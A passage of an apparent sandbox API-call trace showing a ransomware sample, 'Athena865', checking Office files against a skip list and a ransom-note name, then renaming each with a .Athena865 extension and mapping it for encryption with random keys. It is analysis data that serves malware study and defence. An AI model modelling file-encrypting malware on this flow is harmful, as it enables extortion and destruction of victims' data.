lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.702] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="SETLAN~1.HXC")) returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2=".") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="..") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="windows") returned -1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="bootmgr") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="temp") returned -1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="pagefile.sys") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="boot") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="ids.txt") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="ntuser.dat") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="perflogs") returned 1 [0146.702] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2="MSBuild") returned 1 [0146.702] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0146.702] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SETLANG_COL.HXC" | out: lpString1="SETLANG_COL.HXC") returned="SETLANG_COL.HXC" [0146.702] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0146.702] lstrlenW (lpString="Athena865") returned 9 [0146.703] lstrcmpiW (lpString1="G_COL.HXC", lpString2="Athena865") returned 1 [0146.703] lstrlenW (lpString=".dll") returned 4 [0146.703] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2=".dll") returned 1 [0146.703] lstrlenW (lpString=".lnk") returned 4 [0146.703] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2=".lnk") returned 1 [0146.703] lstrlenW (lpString=".ini") returned 4 [0146.703] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2=".ini") returned 1 [0146.703] lstrlenW (lpString=".sys") returned 4 [0146.703] lstrcmpiW (lpString1="SETLANG_COL.HXC", lpString2=".sys") returned 1 [0146.703] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0146.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.Athena865") returned 73 [0146.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.athena865"), dwFlags=0x1) returned 1 [0146.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.706] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=631) returned 1 [0146.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.707] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.707] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.708] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x154 [0146.709] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0146.710] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.710] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.711] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.711] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.711] CloseHandle (hObject=0x154) returned 1 [0146.711] CloseHandle (hObject=0x17c) returned 1 [0146.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.712] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG_COL.HXT", cAlternateFileName="SETLAN~1.HXT")) returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2=".") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="..") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="windows") returned -1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="bootmgr") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="temp") returned -1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="pagefile.sys") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="boot") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="ids.txt") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="ntuser.dat") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="perflogs") returned 1 [0146.712] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2="MSBuild") returned 1 [0146.712] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0146.712] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SETLANG_COL.HXT" | out: lpString1="SETLANG_COL.HXT") returned="SETLANG_COL.HXT" [0146.712] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0146.712] lstrlenW (lpString="Athena865") returned 9 [0146.712] lstrcmpiW (lpString1="G_COL.HXT", lpString2="Athena865") returned 1 [0146.713] lstrlenW (lpString=".dll") returned 4 [0146.713] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2=".dll") returned 1 [0146.713] lstrlenW (lpString=".lnk") returned 4 [0146.713] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2=".lnk") returned 1 [0146.713] lstrlenW (lpString=".ini") returned 4 [0146.713] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2=".ini") returned 1 [0146.713] lstrlenW (lpString=".sys") returned 4 [0146.713] lstrcmpiW (lpString1="SETLANG_COL.HXT", lpString2=".sys") returned 1 [0146.713] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0146.713] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.Athena865") returned 73 [0146.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.athena865"), dwFlags=0x1) returned 1 [0146.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.715] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207) returned 1 [0146.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.716] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.716] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.716] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x154 [0146.718] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0146.719] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.719] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.720] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.721] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.722] CloseHandle (hObject=0x154) returned 1 [0146.722] CloseHandle (hObject=0x17c) returned 1 [0146.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.723] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG_F_COL.HXK", cAlternateFileName="SETLAN~1.HXK")) returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2=".") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="..") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="windows") returned -1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="bootmgr") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="temp") returned -1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="boot") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="ids.txt") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="perflogs") returned 1 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2="MSBuild") returned 1 [0146.723] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0146.723] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SETLANG_F_COL.HXK" | out: lpString1="SETLANG_F_COL.HXK") returned="SETLANG_F_COL.HXK" [0146.723] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0146.723] lstrlenW (lpString="Athena865") returned 9 [0146.723] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0146.723] lstrlenW (lpString=".dll") returned 4 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2=".dll") returned 1 [0146.723] lstrlenW (lpString=".lnk") returned 4 [0146.723] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2=".lnk") returned 1 [0146.724] lstrlenW (lpString=".ini") returned 4 [0146.724] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2=".ini") returned 1 [0146.724] lstrlenW (lpString=".sys") returned 4 [0146.724] lstrcmpiW (lpString1="SETLANG_F_COL.HXK", lpString2=".sys") returned 1 [0146.724] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0146.724] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.Athena865") returned 75 [0146.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0146.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.725] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0146.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.726] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.726] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.727] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.727] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0146.729] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0146.729] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.730] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.730] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.731] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.731] CloseHandle (hObject=0x154) returned 1 [0146.731] CloseHandle (hObject=0x17c) returned 1 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.731] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG_K_COL.HXK", cAlternateFileName="SETLAN~2.HXK")) returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2=".") returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="..") returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="windows") returned -1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="bootmgr") returned 1 [0146.731] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="temp") returned -1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="boot") returned 1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="ids.txt") returned 1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="perflogs") returned 1 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2="MSBuild") returned 1 [0146.732] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0146.732] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SETLANG_K_COL.HXK" | out: lpString1="SETLANG_K_COL.HXK") returned="SETLANG_K_COL.HXK" [0146.732] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0146.732] lstrlenW (lpString="Athena865") returned 9 [0146.732] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0146.732] lstrlenW (lpString=".dll") returned 4 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2=".dll") returned 1 [0146.732] lstrlenW (lpString=".lnk") returned 4 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2=".lnk") returned 1 [0146.732] lstrlenW (lpString=".ini") returned 4 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2=".ini") returned 1 [0146.732] lstrlenW (lpString=".sys") returned 4 [0146.732] lstrcmpiW (lpString1="SETLANG_K_COL.HXK", lpString2=".sys") returned 1 [0146.732] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0146.732] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.Athena865") returned 75 [0146.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0146.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.734] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0146.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.735] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.736] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.736] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.736] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0146.738] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0146.738] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.739] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.739] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.739] 